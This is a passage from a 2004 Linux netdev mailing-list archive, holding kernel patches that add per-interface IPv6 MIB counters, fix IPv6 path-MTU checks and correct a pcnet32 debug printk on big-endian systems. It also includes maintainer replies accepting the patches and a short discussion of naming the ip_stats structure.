ipStatsOutDiscards); kfree_skb(skb); } + if (idev) + in6_dev_put(idev); inet->cork.flags &= ~IPCORK_OPT; diff -urN linux-2.6.6/net/ipv6/ipv6_sockglue.c linux-2.6.6-newmibs/net/ipv6/ipv6_sockglue.c --- linux-2.6.6/net/ipv6/ipv6_sockglue.c 2004-05-09 19:32:00.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/ipv6_sockglue.c 2004-05-26 12:05:39.000000000 -0700 @@ -56,6 +56,7 @@ #include DEFINE_SNMP_STAT(struct ipv6_mib, ipv6_statistics); +DEFINE_SNMP_STAT(struct ip_stats, ipv6_stats); static struct packet_type ipv6_packet_type = { .type = __constant_htons(ETH_P_IPV6), diff -urN linux-2.6.6/net/ipv6/mcast.c linux-2.6.6-newmibs/net/ipv6/mcast.c --- linux-2.6.6/net/ipv6/mcast.c 2004-05-09 19:33:13.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/mcast.c 2004-05-26 12:35:27.000000000 -0700 @@ -1318,6 +1318,8 @@ int err; IP6_INC_STATS(Ip6OutRequests); + IPV6_INC_STATS(idev, ipStatsOutRequests); + IPV6_ADD_STATS(idev, ipStatsOutOctets, skb->len); payload_len = skb->tail - (unsigned char *)skb->nh.ipv6h - sizeof(struct ipv6hdr); mldlen = skb->tail - skb->h.raw; @@ -1330,10 +1332,13 @@ if (!err) { ICMP6_INC_STATS(idev,Icmp6OutMsgs); IP6_INC_STATS(Ip6OutMcastPkts); - } else + IPV6_INC_STATS(idev, ipStatsOutMcastPkts); + IPV6_ADD_STATS(idev, ipStatsOutMcastOctets, skb->len); + } else { IP6_INC_STATS(Ip6OutDiscards); - - if (likely(idev != NULL)) + IPV6_INC_STATS(idev, ipStatsOutDiscards); + } + if (idev) in6_dev_put(idev); } @@ -1613,7 +1618,9 @@ IPV6_TLV_ROUTERALERT, 2, 0, 0, IPV6_TLV_PADN, 0 }; + idev = in6_dev_get(dev); IP6_INC_STATS(Ip6OutRequests); + IPV6_INC_STATS(idev, ipStatsOutRequests); snd_addr = addr; if (type == ICMPV6_MGM_REDUCTION) { snd_addr = &all_routers; @@ -1628,9 +1635,13 @@ if (skb == NULL) { IP6_INC_STATS(Ip6OutDiscards); + IPV6_INC_STATS(idev, ipStatsOutDiscards); + if (idev) + in6_dev_put(idev); return; } + IPV6_ADD_STATS(idev, ipStatsOutOctets, skb->len); skb_reserve(skb, LL_RESERVED_SPACE(dev)); if (dev->hard_header) { unsigned char ha[MAX_ADDR_LEN]; @@ -1662,8 +1673,6 @@ IPPROTO_ICMPV6, csum_partial((__u8 *) hdr, len, 0)); - idev = in6_dev_get(skb->dev); - err = NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, skb, NULL, skb->dev, dev_queue_xmit); if (!err) { @@ -1673,16 +1682,22 @@ ICMP6_INC_STATS(idev, Icmp6OutGroupMembResponses); ICMP6_INC_STATS(idev, Icmp6OutMsgs); IP6_INC_STATS(Ip6OutMcastPkts); - } else + IPV6_INC_STATS(idev, ipStatsOutMcastPkts); + IPV6_ADD_STATS(idev, ipStatsOutMcastOctets, skb->len); + } else { IP6_INC_STATS(Ip6OutDiscards); - + IPV6_INC_STATS(idev, ipStatsOutDiscards); + } if (likely(idev != NULL)) in6_dev_put(idev); return; out: IP6_INC_STATS(Ip6OutDiscards); + IPV6_INC_STATS(idev, ipStatsOutDiscards); kfree_skb(skb); + if (likely(idev != NULL)) + in6_dev_put(idev); } static int ip6_mc_del1_src(struct ifmcaddr6 *pmc, int sfmode, diff -urN linux-2.6.6/net/ipv6/ndisc.c linux-2.6.6-newmibs/net/ipv6/ndisc.c --- linux-2.6.6/net/ipv6/ndisc.c 2004-05-09 19:32:39.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/ndisc.c 2004-05-26 12:05:40.000000000 -0700 @@ -453,6 +453,7 @@ skb->dst = dst; idev = in6_dev_get(dst->dev); IP6_INC_STATS(Ip6OutRequests); + IPV6_INC_STATS(idev, ipStatsOutRequests); err = NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, skb, NULL, dst->dev, dst_output); if (!err) { ICMP6_INC_STATS(idev, Icmp6OutNeighborAdvertisements); @@ -537,6 +538,7 @@ skb->dst = dst; idev = in6_dev_get(dst->dev); IP6_INC_STATS(Ip6OutRequests); + IPV6_INC_STATS(idev, ipStatsOutRequests); err = NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, skb, NULL, dst->dev, dst_output); if (!err) { ICMP6_INC_STATS(idev, Icmp6OutNeighborSolicits); @@ -609,7 +611,8 @@ /* send it! */ skb->dst = dst; idev = in6_dev_get(dst->dev); - IP6_INC_STATS(Ip6OutRequests); + IP6_INC_STATS(Ip6OutRequests); + IPV6_INC_STATS(idev, ipStatsOutRequests); err = NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, skb, NULL, dst->dev, dst_output); if (!err) { ICMP6_INC_STATS(idev, Icmp6OutRouterSolicits); @@ -1336,6 +1339,7 @@ buff->dst = dst; idev = in6_dev_get(dst->dev); IP6_INC_STATS(Ip6OutRequests); + IPV6_INC_STATS(idev, ipStatsOutRequests); err = NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, buff, NULL, dst->dev, dst_output); if (!err) { ICMP6_INC_STATS(idev, Icmp6OutRedirects); diff -urN linux-2.6.6/net/ipv6/proc.c linux-2.6.6-newmibs/net/ipv6/proc.c --- linux-2.6.6/net/ipv6/proc.c 2004-05-09 19:32:28.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/proc.c 2004-05-26 12:05:40.000000000 -0700 @@ -227,6 +227,9 @@ if (snmp6_mib_init((void **)idev->stats.icmpv6, sizeof(struct icmpv6_mib), __alignof__(struct icmpv6_mib)) < 0) goto err_icmp; + if (snmp6_mib_init((void **)idev->stats.ipv6, sizeof(struct ip_stats), + __alignof__(struct ip_stats)) < 0) + goto err_ip; if (!proc_net_devsnmp6) { err = -ENOENT; @@ -242,8 +245,11 @@ return 0; err_proc: + snmp6_mib_free((void **)idev->stats.ipv6); +err_ip: snmp6_mib_free((void **)idev->stats.icmpv6); err_icmp: + return err; } @@ -256,6 +262,7 @@ remove_proc_entry(idev->stats.proc_dir_entry->name, proc_net_devsnmp6); snmp6_mib_free((void **)idev->stats.icmpv6); + snmp6_mib_free((void **)idev->stats.ipv6); return 0; } @@ -305,9 +312,13 @@ if (snmp6_mib_init((void **)idev->stats.icmpv6, sizeof(struct icmpv6_mib), __alignof__(struct icmpv6_mib)) < 0) goto err_icmp; + if (snmp6_mib_init((void **)idev->stats.ipv6, sizeof(struct ip_stats), + __alignof__(struct ip_stats)) < 0) + goto err_ip; return 0; - +err_ip: + snmp6_mib_free((void **)idev->stats.icmpv6); err_icmp: return err; } @@ -315,6 +326,7 @@ int snmp6_unregister_dev(struct inet6_dev *idev) { snmp6_mib_free((void **)idev->stats.icmpv6); + snmp6_mib_free((void **)idev->stats.ipv6); return 0; } diff -urN linux-2.6.6/net/ipv6/raw.c linux-2.6.6-newmibs/net/ipv6/raw.c --- linux-2.6.6/net/ipv6/raw.c 2004-05-09 19:32:28.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/raw.c 2004-05-26 12:18:55.000000000 -0700 @@ -498,11 +498,15 @@ struct ipv6hdr *iph; struct sk_buff *skb; unsigned int hh_len; - int err; + int err = 0; + struct inet6_dev *idev = NULL; + + /* hold reference for IP MIBs */ if (length > rt->u.dst.dev->mtu) { ipv6_local_error(sk, EMSGSIZE, fl, rt->u.dst.dev->mtu); - return -EMSGSIZE; + err = -EMSGSIZE; + goto out; } if (flags&MSG_PROBE) goto out; @@ -518,6 +522,9 @@ skb->priority = sk->sk_priority; skb->dst = dst_clone(&rt->u.dst); + if (skb->dst) + idev = in6_dev_get(skb->dst->dev); + skb->nh.ipv6h = iph = (struct ipv6hdr *)skb_put(skb, length); skb->ip_summed = CHECKSUM_NONE; @@ -527,21 +534,27 @@ if (err) goto error_fault; - IP6_INC_STATS(Ip6OutRequests); + IP6_INC_STATS(Ip6OutRequests); + IPV6_INC_STATS(idev, ipStatsOutRequests); + IPV6_ADD_STATS(idev, ipStatsOutOctets, skb->len); + err = NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, skb, NULL, rt->u.dst.dev, dst_output); if (err > 0) err = inet->recverr ? net_xmit_errno(err) : 0; if (err) goto error; -out: - return 0; - + else + goto out; error_fault: err = -EFAULT; kfree_skb(skb); error: IP6_INC_STATS(Ip6OutDiscards); + IPV6_INC_STATS(idev, ipStatsOutDiscards); +out: + if (idev) + in6_dev_put(idev); return err; } static int rawv6_sendmsg(struct kiocb *iocb, struct sock *sk, diff -urN linux-2.6.6/net/ipv6/reassembly.c linux-2.6.6-newmibs/net/ipv6/reassembly.c --- linux-2.6.6/net/ipv6/reassembly.c 2004-05-09 19:32:27.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/reassembly.c 2004-05-26 12:05:40.000000000 -0700 @@ -264,6 +264,7 @@ { struct frag_queue *fq; struct list_head *tmp; + struct inet6_dev *idev = NULL; for(;;) { if (atomic_read(&ip6_frag_mem) <= sysctl_ip6frag_low_thresh) @@ -285,12 +286,18 @@ fq_put(fq); IP6_INC_STATS_BH(Ip6ReasmFails); + /* idev might be pointed to NULL */ + if (fq->fragments) + idev = __in6_dev_get(fq->fragments->dev); + IPV6_INC_STATS_BH(idev, ipStatsReasmFails); } } static void ip6_frag_expire(unsigned long data) { struct frag_queue *fq = (struct frag_queue *) data; + struct net_device *dev; + struct inet6_dev *idev = NULL; spin_lock(&fq->lock); @@ -301,10 +308,14 @@ IP6_INC_STATS_BH(Ip6ReasmTimeout); IP6_INC_STATS_BH(Ip6ReasmFails); + dev = dev_get_by_index(fq->iif); + if (dev) + idev = __in6_dev_get(dev); + IPV6_INC_STATS_BH(idev, ipStatsInDiscards); + IPV6_INC_STATS_BH(idev, ipStatsReasmFails); /* Send error only if the first segment arrived. */ if (fq->last_in&FIRST_IN && fq->fragments) { - struct net_device *dev = dev_get_by_index(fq->iif); /* But use as source device on which LAST ARRIVED @@ -315,9 +326,10 @@ fq->fragments->dev = dev; icmpv6_send(fq->fragments, ICMPV6_TIME_EXCEED, ICMPV6_EXC_FRAGTIME, 0, dev); - dev_put(dev); } } + if (dev) + dev_put(dev); out: spin_unlock(&fq->lock); fq_put(fq); @@ -367,6 +379,7 @@ ip6_frag_create(unsigned int hash, u32 id, struct in6_addr *src, struct in6_addr *dst) { struct frag_queue *fq; + struct inet6_dev *idev = NULL; if ((fq = frag_alloc_queue()) == NULL) goto oom; @@ -387,6 +400,7 @@ oom: IP6_INC_STATS_BH(Ip6ReasmFails); + IPV6_INC_STATS_BH(idev, ipStatsReasmFails); return NULL; } @@ -417,7 +431,10 @@ { struct sk_buff *prev, *next; int offset, end; + struct inet6_dev *idev = NULL; + if (skb->dev) + idev = __in6_dev_get(skb->dev); if (fq->last_in & COMPLETE) goto err; @@ -427,6 +444,7 @@ if ((unsigned int)end > IPV6_MAXPLEN) { IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); icmpv6_param_prob(skb,ICMPV6_HDR_FIELD, (u8*)&fhdr->frag_off - skb->nh.raw); return; } @@ -454,6 +472,7 @@ * this case. -DaveM */ IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); icmpv6_param_prob(skb, ICMPV6_HDR_FIELD, offsetof(struct ipv6hdr, payload_len)); return; @@ -573,6 +592,7 @@ err: IP6_INC_STATS(Ip6ReasmFails); + IPV6_INC_STATS_BH(idev, ipStatsReasmFails); kfree_skb(skb); } @@ -592,7 +612,10 @@ struct sk_buff *fp, *head = fq->fragments; int payload_len; unsigned int nhoff; - + struct inet6_dev *idev = NULL; + + if (dev) + idev = __in6_dev_get(dev); fq_kill(fq); BUG_TRAP(head != NULL); @@ -667,6 +690,7 @@ head->csum = csum_partial(head->nh.raw, head->h.raw-head->nh.raw, head->csum); IP6_INC_STATS_BH(Ip6ReasmOKs); + IPV6_INC_STATS_BH(idev, ipStatsReasmOKs); fq->fragments = NULL; *nhoffp = nhoff; return 1; @@ -680,6 +704,7 @@ printk(KERN_DEBUG "ip6_frag_reasm: no memory for reassembly\n"); out_fail: IP6_INC_STATS_BH(Ip6ReasmFails); + IPV6_INC_STATS_BH(idev, ipStatsReasmFails); return -1; } @@ -690,19 +715,25 @@ struct frag_hdr *fhdr; struct frag_queue *fq; struct ipv6hdr *hdr; + struct inet6_dev *idev = NULL; + if (dev) + idev = __in6_dev_get(dev); hdr = skb->nh.ipv6h; IP6_INC_STATS_BH(Ip6ReasmReqds); + IPV6_INC_STATS_BH(idev, ipStatsReasmReqds); /* Jumbo payload inhibits frag. header */ if (hdr->payload_len==0) { IP6_INC_STATS(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); icmpv6_param_prob(skb, ICMPV6_HDR_FIELD, skb->h.raw-skb->nh.raw); return -1; } if (!pskb_may_pull(skb, (skb->h.raw-skb->data)+sizeof(struct frag_hdr))) { IP6_INC_STATS(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); icmpv6_param_prob(skb, ICMPV6_HDR_FIELD, skb->h.raw-skb->nh.raw); return -1; } @@ -714,6 +745,7 @@ /* It is not a fragmented frame */ skb->h.raw += sizeof(struct frag_hdr); IP6_INC_STATS_BH(Ip6ReasmOKs); + IPV6_INC_STATS_BH(idev, ipStatsReasmOKs); *nhoffp = (u8*)fhdr - skb->nh.raw; return 1; @@ -739,6 +771,7 @@ } IP6_INC_STATS_BH(Ip6ReasmFails); + IPV6_INC_STATS_BH(idev, ipStatsReasmFails); kfree_skb(skb); return -1; } diff -urN linux-2.6.6/net/ipv6/route.c linux-2.6.6-newmibs/net/ipv6/route.c --- linux-2.6.6/net/ipv6/route.c 2004-05-09 19:33:05.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/route.c 2004-05-26 12:05:40.000000000 -0700 @@ -85,7 +85,8 @@ static struct dst_entry *ip6_negative_advice(struct dst_entry *); static int ip6_dst_gc(void); -static int ip6_pkt_discard(struct sk_buff *skb); +static int ip6_pkt_indiscard(struct sk_buff *skb); +static int ip6_pkt_outdiscard(struct sk_buff *skb); static void ip6_link_failure(struct sk_buff *skb); static void ip6_rt_update_pmtu(struct dst_entry *dst, u32 mtu); @@ -110,8 +111,8 @@ .obsolete = -1, .error = -ENETUNREACH, .metrics = { [RTAX_HOPLIMIT - 1] = 255, }, - .input = ip6_pkt_discard, - .output = ip6_pkt_discard, + .input = ip6_pkt_indiscard, + .output = ip6_pkt_outdiscard, .ops = &ip6_dst_ops, .path = (struct dst_entry*)&ip6_null_entry, } @@ -767,8 +768,8 @@ dev_put(dev); dev = &loopback_dev; dev_hold(dev); - rt->u.dst.output = ip6_pkt_discard; - rt->u.dst.input = ip6_pkt_discard; + rt->u.dst.output = ip6_pkt_outdiscard; + rt->u.dst.input = ip6_pkt_indiscard; rt->u.dst.error = -ENETUNREACH; rt->rt6i_flags = RTF_REJECT|RTF_NONEXTHOP; goto install_route; @@ -1255,9 +1256,30 @@ * Drop the packet on the floor */ -int ip6_pkt_discard(struct sk_buff *skb) +static int ip6_pkt_indiscard(struct sk_buff *skb) { + struct inet6_dev *idev = NULL; + + if (skb->dev) + idev = __in6_dev_get(skb->dev); + + IP6_INC_STATS(Ip6InNoRoutes); + IPV6_INC_STATS(idev, ipStatsInNoRoutes); + icmpv6_send(skb, ICMPV6_DEST_UNREACH, ICMPV6_NOROUTE, 0, skb->dev); + kfree_skb(skb); + return 0; +} + + +static int ip6_pkt_outdiscard(struct sk_buff *skb) +{ + struct inet6_dev *idev = NULL; + + if (skb->dev) + idev = __in6_dev_get(skb->dev); + IP6_INC_STATS(Ip6OutNoRoutes); + IPV6_INC_STATS(idev, ipStatsOutNoRoutes); icmpv6_send(skb, ICMPV6_DEST_UNREACH, ICMPV6_NOROUTE, 0, skb->dev); kfree_skb(skb); return 0; --Boundary-00=_dmPtAWGpT6TwdRU-- From mashirle@us.ibm.com Wed May 26 13:20:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:20:06 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKK0gi012883 for ; Wed, 26 May 2004 13:20:03 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i4QKJsiw478936; Wed, 26 May 2004 16:19:54 -0400 Received: from DYN318263BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QKKR87078578; Wed, 26 May 2004 16:20:28 -0400 From: Shirley Ma To: davem@redhat.com Subject: [PATCH] pmtu check conditions error in IPv6 Date: Wed, 26 May 2004 13:19:55 -0700 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com, xma@us.ibm.com References: <200403171130.30282.mashirle@us.ibm.com> In-Reply-To: <200403171130.30282.mashirle@us.ibm.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_rvPtAxMQgQLHNyK" Message-Id: <200405261319.55787.mashirle@us.ibm.com> X-archive-position: 5352 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mashirle@us.ibm.com Precedence: bulk X-list: netdev --Boundary-00=_rvPtAxMQgQLHNyK Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Here is the patch. IPv6 pmtu check conditions were wrong in these two places. this patch is against 2.6.6 kernel. It has been tested under 2.6.5 kernel for IPsec. -- Thanks Shirley Ma IBM Linux Technology Center --Boundary-00=_rvPtAxMQgQLHNyK Content-Type: text/x-diff; charset="iso-8859-1"; name="linux-2.6.6.pmtu.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="linux-2.6.6.pmtu.patch" diff -urN linux-2.6.6/net/ipv6/route.c linux-2.6.6.pmtu/net/ipv6/route.c --- linux-2.6.6/net/ipv6/route.c 2004-05-09 19:33:05.000000000 -0700 +++ linux-2.6.6.pmtu/net/ipv6/route.c 2004-05-26 13:15:28.288796272 -0700 @@ -554,6 +554,8 @@ if (mtu < dst_pmtu(dst) && rt6->rt6i_dst.plen == 128) { rt6->rt6i_flags |= RTF_MODIFIED; + if (mtu < IPV6_MIN_MTU) + mtu = IPV6_MIN_MTU; dst->metrics[RTAX_MTU-1] = mtu; } } diff -urN linux-2.6.6/net/ipv6/xfrm6_policy.c linux-2.6.6.pmtu/net/ipv6/xfrm6_policy.c --- linux-2.6.6/net/ipv6/xfrm6_policy.c 2004-05-09 19:32:26.000000000 -0700 +++ linux-2.6.6.pmtu/net/ipv6/xfrm6_policy.c 2004-05-26 13:15:28.322791104 -0700 @@ -236,10 +236,10 @@ { struct dst_entry *path = dst->path; - if (mtu >= 1280 && mtu < dst_pmtu(dst)) - return; - - path->ops->update_pmtu(path, mtu); + if (mtu >= IPV6_MIN_MTU && mtu < dst_pmtu(dst)) + path->ops->update_pmtu(path, mtu); + + return; } struct dst_ops xfrm6_dst_ops = { --Boundary-00=_rvPtAxMQgQLHNyK-- From davem@redhat.com Wed May 26 13:23:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:23:08 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKN2gi013245 for ; Wed, 26 May 2004 13:23:04 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4QKMwi5028701; Wed, 26 May 2004 16:22:58 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4QKMw000321; Wed, 26 May 2004 16:22:58 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4QKMrhk021567; Wed, 26 May 2004 16:22:53 -0400 Date: Wed, 26 May 2004 13:22:15 -0700 From: "David S. Miller" To: Shirley Ma Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org, xma@us.ibm.com Subject: Re: [PATCH]Add new IPv6 MIBs counters support through netlink Message-Id: <20040526132215.06e0bc12.davem@redhat.com> In-Reply-To: <200405261308.54281.mashirle@us.ibm.com> References: <200403311326.43647.mashirle@us.ibm.com> <200405261308.54281.mashirle@us.ibm.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5353 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 26 May 2004 13:10:05 -0700 Shirley Ma wrote: > This patch implements both per interface and global new IPv6 MIBs counters > through netlink based on new IP MIBs draft, 64 bit counters are not supported > here because of performance issues. It coexists old IPv6 MIBs counters (which > are through proc file system) for the compatibility. Just to clarify, you named the struct ip_stats because we will use this eventually for ipv4 as well? Otherwise we should name it ip6_stats or something like that. Otherwise I think your patch is fine. From davem@redhat.com Wed May 26 13:24:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:24:53 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKOpgi013600 for ; Wed, 26 May 2004 13:24:52 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4QKOpi5029184; Wed, 26 May 2004 16:24:51 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4QKOp001094; Wed, 26 May 2004 16:24:51 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4QKOkhk022675; Wed, 26 May 2004 16:24:46 -0400 Date: Wed, 26 May 2004 13:24:09 -0700 From: "David S. Miller" To: Shirley Ma Cc: netdev@oss.sgi.com, xma@us.ibm.com Subject: Re: [PATCH] pmtu check conditions error in IPv6 Message-Id: <20040526132409.406c9d5b.davem@redhat.com> In-Reply-To: <200405261319.55787.mashirle@us.ibm.com> References: <200403171130.30282.mashirle@us.ibm.com> <200405261319.55787.mashirle@us.ibm.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5354 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 26 May 2004 13:19:55 -0700 Shirley Ma wrote: > Here is the patch. IPv6 pmtu check conditions were wrong in these two places. > this patch is against 2.6.6 kernel. It has been tested under 2.6.5 kernel for > IPsec. Patch applied, thanks Shirley. From brazilnut@us.ibm.com Wed May 26 13:41:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:42:00 -0700 (PDT) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKfugi014279 for ; Wed, 26 May 2004 13:41:57 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QKfmpP474436; Wed, 26 May 2004 16:41:48 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QKgUqU149108; Wed, 26 May 2004 16:42:30 -0400 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4QKfLC27898; Wed, 26 May 2004 13:41:21 -0700 From: Don Fry Message-Id: <200405262041.i4QKfLC27898@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 8/5 2.6.6-bk8] pcnet32: correct printk for big-endian arch To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 26 May 2004 13:41:21 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5355 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch corrects a printk when executed on a big-endian system. Tested ppc64. --- linux-2.6.6-bk8/drivers/net/anr.pcnet32.c Mon May 24 11:24:22 2004 +++ linux-2.6.6-bk8/drivers/net/pcnet32.c Wed May 26 12:23:09 2004 @@ -1633,12 +1633,16 @@ lp->cur_rx); for (i = 0 ; i < RX_RING_SIZE; i++) printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", - lp->rx_ring[i].base, -lp->rx_ring[i].buf_length, - lp->rx_ring[i].msg_length, (unsigned)lp->rx_ring[i].status); + le32_to_cpu(lp->rx_ring[i].base), + le16_to_cpu(-lp->rx_ring[i].buf_length), + le32_to_cpu(lp->rx_ring[i].msg_length), + le16_to_cpu((unsigned)lp->rx_ring[i].status)); for (i = 0 ; i < TX_RING_SIZE; i++) printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", - lp->tx_ring[i].base, -lp->tx_ring[i].length, - lp->tx_ring[i].misc, (unsigned)lp->tx_ring[i].status); + le32_to_cpu(lp->tx_ring[i].base), + le16_to_cpu(-lp->tx_ring[i].length), + le32_to_cpu(lp->tx_ring[i].misc), + le16_to_cpu((unsigned)lp->tx_ring[i].status)); printk("\n"); } pcnet32_restart(dev, 0x0042); -- Don Fry brazilnut@us.ibm.com From xma@us.ibm.com Wed May 26 13:42:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 13:42:43 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QKgegi014421 for ; Wed, 26 May 2004 13:42:40 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QKgQat391324; Wed, 26 May 2004 16:42:26 -0400 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QKgPRV160740; Wed, 26 May 2004 14:42:25 -0600 In-Reply-To: <20040526132215.06e0bc12.davem@redhat.com> To: "David S. Miller" Cc: mashirle@us.ibm.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org MIME-Version: 1.0 Subject: Re: [PATCH]Add new IPv6 MIBs counters support through netlink X-Mailer: Lotus Notes Release 6.5.1 January 21, 2004 Message-ID: From: Shirley Ma Date: Wed, 26 May 2004 13:42:23 -0700 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF259 | March 11, 2004) at 05/26/2004 14:42:25, Serialize complete at 05/26/2004 14:42:25 Content-Type: multipart/alternative; boundary="=_alternative 0071C18807256EA0_=" X-archive-position: 5356 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev This is a multipart message in MIME format. --=_alternative 0071C18807256EA0_= Content-Type: text/plain; charset="US-ASCII" Yes, same structure ip_stats applys to IPv4 as well. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --=_alternative 0071C18807256EA0_= Content-Type: text/html; charset="US-ASCII"
    Yes, same structure ip_stats applys to IPv4 as well.

    Thanks
    Shirley Ma
    IBM Linux Technology Center
    15300 SW Koll Parkway
    Beaverton, OR 97006-6063
    Phone: (503) 578-7638
    FAX:      (503) 578-3228

